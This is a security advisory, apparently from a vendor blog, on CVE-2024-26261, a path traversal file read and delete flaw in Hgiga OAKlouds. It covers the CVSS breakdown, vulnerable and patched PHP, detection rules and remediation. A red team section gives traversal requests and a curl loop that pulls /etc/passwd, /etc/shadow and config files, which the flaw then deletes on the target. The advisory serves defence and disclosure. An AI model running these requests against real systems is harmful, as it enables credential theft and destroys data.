CVE-2024-26261

Executive Summary

CVE-2024-26261 is a critical unauthenticated arbitrary file read and delete vulnerability in Hgiga OAKlouds, a proprietary enterprise collaboration platform. The flaw resides in the file download functionality of certain modules, allowing an attacker to specify arbitrary file paths via request parameters. This enables reading sensitive files (e.g., configuration files, credentials) without authentication, and the file is automatically deleted after download, causing data loss and potential denial of service. With a CVSS score of 9.8, the vulnerability is remotely exploitable with no privileges required. No public proof-of-concept (PoC) or patch is currently available, but the risk is severe due to the unauthenticated nature and the dual impact of data exfiltration and destruction.

Supply Chain & Package Security

This vulnerability is not related to open-source packages (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise software product (Hgiga OAKlouds). Organizations using this product should treat it as a critical supply chain risk and isolate affected systems until a patch is available.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – Full file read access.
• Integrity Impact: High (I:H) – Files are deleted after download.
• Availability Impact: High (A:H) – Deletion of critical files can cause service disruption.

Threat Level: Critical. The vulnerability allows an unauthenticated attacker to read and delete arbitrary files on the server, leading to complete compromise of confidentiality, integrity, and availability.

Deep Dive & Mechanics

The vulnerability exists in the file download functionality of Hgiga OAKlouds modules. The application fails to properly sanitize user-supplied file paths in request parameters. By manipulating parameters such as filepath, download, or path, an attacker can traverse directories and specify any file on the filesystem.

Root Cause: The application uses user input directly in file system operations without validation or sanitization. The code likely constructs a file path by concatenating a base directory with the user-supplied parameter, but does not check for path traversal sequences (e.g., ../). Additionally, the file is deleted after download, indicating a unlink() or delete() call is made immediately after serving the file.

Attack Flow:

1. Attacker sends a GET request to the vulnerable endpoint (e.g., /module/download?file=../../../etc/passwd).
2. The server reads the file and returns its contents in the HTTP response.
3. The server then deletes the file from the filesystem.
4. The attacker can repeat this for any file the web server process has read/write access to.

Impact: Attackers can exfiltrate sensitive data (e.g., database credentials, SSH keys, application source code) and delete critical system files, potentially causing a denial of service or complete system compromise.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is described hypothetically.

Vulnerable Code (Hypothetical PHP example):

<?php
$file = $_GET['file'];
$path = '/var/www/uploads/' . $file;
if (file_exists($path)) {
    header('Content-Type: application/octet-stream');
    readfile($path);
    unlink($path); // Delete after download
}
?>

Patched Code (Hypothetical):

<?php
$file = basename($_GET['file']); // Remove path components
$path = '/var/www/uploads/' . $file;
if (file_exists($path) && strpos(realpath($path), '/var/www/uploads/') === 0) {
    header('Content-Type: application/octet-stream');
    readfile($path);
    // Do NOT delete the file automatically; require explicit action
}
?>

The patched version uses basename() to strip directory components and realpath() to ensure the resolved path is within the allowed directory. It also removes the automatic deletion.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running Hgiga OAKlouds with vulnerable modules.
• Network access to the web interface.

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., /module/download or /file/download).
2. Craft a request to read /etc/passwd:

   GET /module/download?file=../../../etc/passwd HTTP/1.1
   Host: target.com
   

3. The server will return the contents of /etc/passwd and then delete the file.
4. To read application configuration files (e.g., config.php):

   GET /module/download?file=../../../var/www/html/config.php HTTP/1.1
   

5. Automate with a script:

   #!/bin/bash
   TARGET="http://target.com/module/download"
   FILES=("/etc/passwd" "/etc/shadow" "/var/www/html/config.php")
   for file in "${FILES[@]}"; do
       curl -O "$TARGET?file=../../../$file"
   done
   

Note: No public exploit code is available. The above is a conceptual demonstration.

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests containing ../ or ..%2f in parameters.
• Alert on repeated requests to file download endpoints with suspicious parameters.
• Use WAF rules to block path traversal patterns.

Hunting:

• Search for files that have been unexpectedly deleted from the server.
• Check for outbound connections from the web server to unknown IPs (data exfiltration).

Containment:

• Immediately isolate affected systems from the network.
• Disable the vulnerable modules if possible.
• Restore deleted files from backups.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with file=, path=, or download= parameters containing ../ or ..%2f.
  • Outbound data transfers from the web server to external IPs.
• File System IOCs:
  • Unexpected deletion of system files (e.g., /etc/passwd, /etc/shadow, application configs).
  • Presence of temporary files created by the attacker (e.g., downloaded copies).
• Log IOCs:
  • Web server logs showing 200 responses to requests with path traversal patterns.
  • Error logs indicating failed file reads (if attacker attempts non-existent files).

Detection Engineering

YARA Rule

rule CVE_2024_26261_File_Read_Delete {
    meta:
        description = "Detects attempts to exploit CVE-2024-26261 via path traversal in HTTP requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-26261"
    strings:
        $path_traversal = /(file|path|download)=[^&]*\.\.\// nocase
        $oaklouds_path = /\/module\/download|\/file\/download/ nocase
    condition:
        $oaklouds_path and $path_traversal
}

Sigma Rule

title: CVE-2024-26261 - Hgiga OAKlouds Arbitrary File Read/Delete
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests exploiting path traversal in Hgiga OAKlouds file download modules
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - 'file=../'
            - 'path=../'
            - 'download=../'
            - 'file=%2e%2e%2f'
            - 'path=%2e%2e%2f'
            - 'download=%2e%2e%2f'
    condition: selection
falsepositives:
    - Legitimate file downloads with similar patterns (rare)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-26261 - Hgiga OAKlouds Path Traversal Attempt"; flow:to_server; content:"GET"; http_method; content:"/module/download"; http_uri; content:"file="; http_uri; pcre:"/(file|path|download)=[^&]*\.\.\//i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems from the network to prevent exploitation.
2. Disable the vulnerable file download modules if possible (check Hgiga documentation).
3. Apply virtual patching via WAF rules to block path traversal patterns.
4. Monitor logs for signs of exploitation and data exfiltration.

Long-Term Fix:

• Vendor Patch: Await an official patch from Hgiga. Contact Hgiga support for updates.
• Code Fix: If source code is available, implement input validation (e.g., basename(), realpath() checks) and remove automatic file deletion.
• Upgrade: When a patched version is released, upgrade immediately.

Compensating Controls:

• Restrict web server file system permissions to limit read access to sensitive files.
• Implement strict allowlisting of allowed file paths for download.
• Enable file integrity monitoring (FIM) to detect unauthorized file deletions.

Valters IT